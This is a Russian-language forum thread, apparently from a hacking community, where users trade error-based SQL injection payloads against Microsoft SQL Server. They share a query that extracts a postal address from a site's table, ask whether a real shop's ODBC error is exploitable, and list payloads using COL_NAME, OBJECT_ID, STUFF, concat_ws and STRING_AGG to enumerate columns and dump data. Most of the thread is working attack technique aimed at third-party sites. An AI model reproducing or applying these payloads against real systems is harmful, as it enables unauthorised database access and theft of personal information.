Авторские статьи Провидение Иньекций в MSSQL сервер от Microsoft.

Discussion in 'Статьи' started by guest3297, 3 Jan 2007.

  1. bugster

    bugster New Member

    Joined:
    21 Feb 2010
    Messages:
    6
    Likes Received:
    3
    Reputations:
    0
    Перезалейте плиз
     
  2. nester

    nester New Member

    Joined:
    5 May 2009
    Messages:
    56
    Likes Received:
    2
    Reputations:
    0
    Надеюсь, я пишу в ту ветку. Мне нужна помощь.
    У меня возникли проблемы с кодировкой. Сразу скажу, что я только начинающий.
    При попытке вывести содержание столбца получаю абракадабру. Каким образом можно вывести информацию в другой кодировке? Перепробовал разные варианты, предложенные в тех или иных ветках античата (unhex(hex()), AES_DECRYPT(AES_ENCRYPT(),), collate, cast( as nvarchar) и т.п.) Ничего не помогает. В этой строке запрятан почтовый адрес на русском языке.
    Вот, собственно, сам запрос:
    ...id=-1'+OR+1=(SELECT+TOP+1+cast(strAddress+as+nvarchar) +FROM+tbfVP)+--
    Используется MS SQL.
    Буду очень признателен.
     
  3. Chaos Lord

    Chaos Lord New Member

    Joined:
    14 Nov 2011
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Попробуй раскрутить через union. Мне помогает:)
     
  4. tmp

    tmp Banned

    Joined:
    10 Mar 2005
    Messages:
    417
    Likes Received:
    32
    Reputations:
    1
    А есть еще какой то способ объединения данных вместо cast? Что то такой способ у меня не хочет работать.
     
  5. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    cast() - это привидение к определенному типу данных, а не объединение! Используйте concat()
     
  6. tmp

    tmp Banned

    Joined:
    10 Mar 2005
    Messages:
    417
    Likes Received:
    32
    Reputations:
    1
    В mssql concat тоже работает? ща попробую
     
  7. tmp

    tmp Banned

    Joined:
    10 Mar 2005
    Messages:
    417
    Likes Received:
    32
    Reputations:
    1
    такс.. походу наводка не совсем правильная. concat реализована только с MS SQL 2012. думаю такое в настоящее время редко найдешь. у меня банальная версия:
    вопрос актуален.
     
    1 person likes this.
  8. WF34

    WF34 New Member

    Joined:
    25 Jan 2013
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    если выводит такую ошибку

    Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

    [Microsoft][ODBC Microsoft Access Driver] Invalid SQL statement; expected 'DELETE', 'INSERT', 'PROCEDURE', 'SELECT', or 'UPDATE'.

    /shop/en/products.asp, line 32

    то sql инекция осуществима?
     
  9. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    809
    Reputations:
    212
    Еще раз про подбор колонок, старая фича
    Code:
    152 and 1=COL_NAME(OBJECT_ID('master.sys.routes'), n)
    
    где n номер колонки

    Как альтернатива + и concat, в некоторой степени можно использовать STUFF
    Code:
    152 and 1=(SELECT top 1 (STUFF(@@version,1,0,zoneid)) FROM webkits..zones) --%20
    
    1 -- позиция для вставки
    0 -- определяет, какое количество символов следует удалить после вставки

    C 2017 версии появилась concat_ws -- немного удобства для нас
    Code:
    152 and 1=concat_ws('A',(COL_NAME(OBJECT_ID('master.sys.routes'),3)),(COL_NAME(OBJECT_ID('master.sys.routes'), 2))) --%20
    
    Так же с 2017 версии появился полноценный group_concat - привычно и удобно.
    Code:
    152 and 1=(SELECT STRING_AGG(zoneid, char(35)) FROM webkits..zones) --%20
    
     
    #109 Baskin-Robbins, 1 Dec 2019
    Last edited: 1 Dec 2019
    fandor9 and seostock like this.